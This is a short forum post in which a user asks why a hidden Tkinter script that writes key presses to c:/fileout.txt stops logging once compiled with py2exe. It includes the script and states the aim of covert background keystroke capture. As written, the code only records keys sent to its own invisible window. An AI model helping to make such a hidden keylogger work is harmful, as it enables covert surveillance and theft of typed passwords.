owls 0 Newbie Poster

Hello I am trying to get this program to log key presses while running hidden in the background.
I have no troubles while I run this program as a .py or .pyw

The trouble comes though when I have turn this file in to an .exe using py2exe

It will still log key presses if you run the program and type without clicking anywhere(changing windows)

If you click anywhere though it will stop logging key presses. Could anyone shed some light on why this is happening?

edit some code might help...

import Tkinter as tk
 
def keypress(event):
    if event.keysym == 'Escape':
        root.destroy()
    x = event.char
    f_out = open('c:/fileout.txt','a')
    f_out.write(x)
    f_out.close()
 
 
root = tk.Tk()
print "Press a key (Escape key to exit):"
root.bind_all('<Key>', keypress)
# don't show the tk window
root.withdraw()
root.mainloop()